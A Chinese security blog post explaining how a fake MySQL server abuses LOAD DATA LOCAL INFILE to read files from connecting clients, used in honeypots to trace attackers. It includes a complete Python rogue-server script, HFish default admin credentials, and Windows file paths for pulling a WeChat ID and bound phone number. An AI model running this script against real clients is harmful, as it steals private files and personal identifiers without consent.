目录

Part1 前言

Part2 原理

Part3 mysql数据包分析

Part4 蜜罐搭建

Part5 资料参考


Part1 前言

在护网中看到甲方的蜜罐感觉很好玩,就想着自己也搭建一个。然后就看到很多文章讲述用蜜罐获取手机号了什么的,感觉很神奇,就研究了研究。
蜜罐获取手机号信息其实就是一个mysql的任意文件读取漏洞,关于这个漏洞已经出现很久了,晚上也有很多关于这个漏洞的文章。但是对于一些入行晚的师傅,可能还不是太了解。本篇文章就来讲述一下mysql蜜罐的原理。

Part2 原理

伪造一个mysql服务器,当攻击者尝试连接的时,可以读取攻击者主机的任意文件。
主要是由于mysql的LOAD DATA INFILE 语法
load data infile 的作用是数据库读取一个文件内容导入到数据库表中,而如果使用load data local infile 则数据库从客户机读取文件,导入到表中。

Part3 mysql数据包分析

1、登陆mysql,并进行抓包

2、通过分析数据包可以发现,在tcp握手成功之后,mysql服务器返回了一个Greeting包。

3、当客户机收到Greeting包后,客户机向mysql服务器发送了一个login request包进行登陆。 4、mysql服务器收到login包后进行验证,正确了则返回一个ok的响应包 5、之后客户端发送一个初始化的查询语句,服务端收到后进行回应

至此,客户端登陆成功。
看到这,想一想如果我们伪造一个mysql服务端,按照mysql的处理流程进行回包,是不是就伪造了一个服务器呢。
那如何获取客户端的文件呢,我们在客户端执行load data local infile语句进行抓包查看。 1、在客户端执行load data local infile "/etc/passwd" into table 表名 fields terminated by '\n';进行抓包查看。

2、查看数据包,发现客户端向服务器发送了查询语法

3、服务端收到后把查询的文件名返回给客户端 4、之后客户端把这个文件的内容返回给mysql服务器 5、mysql服务端收到后返回一个ok的应答包 通过分析数据包,我们发现当客户端发送查询语法=》服务端返回文件名=》客户端返回文件内容。 此时我们就可以通过伪造mysql服务器,在被害者连接服务器时身份认证,问候包发送完成后,回一个带有load data infile 标志位的包,即可读取被害者的文件。

附上一个来自https://xz.aliyun.com/t/3973给出的脚本

#!/usr/bin/python
#coding: utf8
import socket# linux :
filestring = "/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"#3 Payload
payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding +  "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)while True:conn, addr = s.accept()print 'Connection from:', addrconn.send(greeting)while True:data = conn.recv(BUFFER_SIZE)print " ".join("%02x" % ord(i) for i in data)conn.send(authok)data = conn.recv(BUFFER_SIZE)conn.send(payload)print "[*] Payload send!"data = conn.recv(BUFFER_SIZE)if not data: breakprint "Data received:", databreak# Don't leave the connection open.conn.close()

Part4 蜜罐搭建

我这里用的是HFish蜜罐进行的搭建,部署流程反制溯源_欺骗防御_主动防御-HFish免费蜜罐平台

登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021

在节点管理里可以设置蜜罐,在里面可以修改读取的文件

测试一下蜜罐:

成功读取到数据。
至于读取手机号微信id等信息,只需要修改读取的文件路径即可
1.从C:/Windows/PFRO.log中读取用户名。
2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取微信_id。
3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号。

Part5 资料参考

MySQL蜜罐获取攻击者微信ID - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/3973


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

蜜罐如何获取攻击者敏感信息相关推荐

  1. 通过蜜罐技术获取攻击者手机号、微信号【网络安全】

    相关声明: 以下内容仅限用于红蓝攻防对抗等专业领域,请勿用于非法用途. 首先,我们先讲一下蜜罐的概念,你可以简单理解较为蜜罐就是一个陷阱,故意暴露一些我们人为设计好的漏洞,让攻击者自投罗网. 一.蜜罐 ...

  2. MySQL蜜罐反制获取攻击者微信号、手机号

    1.蜜罐介绍 蜜罐是对攻击者的欺骗技术,用以监视.检测.分析和溯源攻击行为,其没有业务上的用途,所有流入/流出蜜罐的流量都预示着扫描或者攻击行为,因此可以比较好的聚焦于攻击流量. 蜜罐可以实现对攻击者 ...

  3. ctfshow-萌新-web6( 利用二进制绕过获取网站敏感信息)

    ctf.show 萌新模块 web6关,这一关的考点是intval()函数转换字符串的特性,以及SQL注入漏洞的绕过方式,源码中过滤了单双引号,or,加减乘除号,叹号,异或,hex,select等关键 ...

  4. ctfshow-萌新-web5( 利用位运算符控制SQL获取网站敏感信息)

    ctf.show 萌新模块 we5关,这一关考察的是intval()函数转换字符串的特性和SQL注入的绕过思路,这一关过滤了单双引号,or,斜杠,加减乘除号,叹号,括号,select等关键字,推荐使用 ...

  5. ctfshow-萌新-web14( 曲线救国-POST请求绕过获取网站敏感信息)

    ctf.show 萌新模块 web14关, 此关卡是一个代码执行漏洞, 重点在于命令执行函数的利用方式, 源码中过滤比较严格, 尤其是过滤了分号;之后, 虽然可以用?>来代替分号, 但这样一来就 ...

  6. ctfshow-萌新-web12( 利用命令执行函数获取网站敏感信息)

    ctf.show 萌新模块 web12关, 这一关考察的是代码执行漏洞的利用, 重点在于命令执行函数的利用方式, 推荐使用反引号(``) 或者 base64加密绕过 页面中展示了部分源码, 并提示我们 ...

  7. ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)

    ctf.show 萌新模块 web10关,这一关考察的是命令执行漏洞的利用,闯关者需要知道3个以上PHP命令执行函数的使用,推荐使用 passthru() 页面中展示了部分源码,并提示我们 flag ...

  8. 网络安全实验1 敏感信息搜集与密码心理分析

    赞赏码 & 联系方式 & 个人闲话 [实验名称]敏感信息搜集与密码心理分析 [实验目的] 1.理解社会工程学的概念,掌握获取敏感信息的方法 2.提高自我信息保护的意识和方法 3.理解密 ...

  9. 致远OA敏感信息泄露漏洞合集(含批量检测POC)

    文章目录 前言 敏感信息泄露 A6 status.jsp 信息泄露漏洞 漏洞描述 漏洞影响 网络测绘 漏洞复现 POC 批量检测 getSessionList.jsp Session泄漏漏洞 漏洞描述 ...

最新文章

  1. JSP+Servlet+JavaBean
  2. 沉迷游戏自学编程,创建游戏帝国,却黯然退场的“鬼才程序员”
  3. 网站推广——网站推广专员如何提升新站权重?
  4. 计算同比 环比_PowerBI学习教程(三)时间累积同比环比计算
  5. Kubernetes 系列(三):Kubernetes使用Traefik Ingress暴露服务
  6. AQuery学习笔记(一)
  7. javascript --- 非交互、交互、协作、任务
  8. 拦截地址栏参数_selenium操作chrome时的配置参数
  9. ShardingSphere-Proxy 主从读写 入门使用
  10. PHP连接不上MySQL解决方案总结
  11. solaris中如何新建一个用户登录
  12. Python scapy网络包嗅探模块(转载)
  13. ftp搭建和定时增量同步实现
  14. 代码主题darcula_darcula主题模式是()模式。_学小易找答案
  15. 怎么制定市场营销策划方案
  16. Commvault发布横向扩展一体机 矛头对准Rubrik和Cohesity
  17. 什么是框架,到底为什么要使用框架?
  18. 狂写2万字带你快速上手React
  19. 学长毕业日记 :本科毕业论文写成博士论文的神操作20170315
  20. 寒冬已至!视频聊聊四面楚歌的Android工程师该何去何从?

热门文章

  1. 下载搭建sparrow
  2. 企业文化学习心得体会
  3. basketball
  4. 计算机考试三级网络技术复习一
  5. Unity人工智能学习—确定性AI算法之追踪算法三
  6. 华科计算机组成原理 单总线CPU设计 定长变长现代时序中断 指令周期3级时序 (LogisimEducoder)
  7. 福大软工1816 · 第八次作业课堂实践
  8. iOS开发 编译工程师 遇到once.h beng'kuispatch_once(predicate,block)重新拉取代码后解决
  9. Excel 2010 SQL应用038 以数值范围为条件的查询
  10. 阅读一本书的三个步骤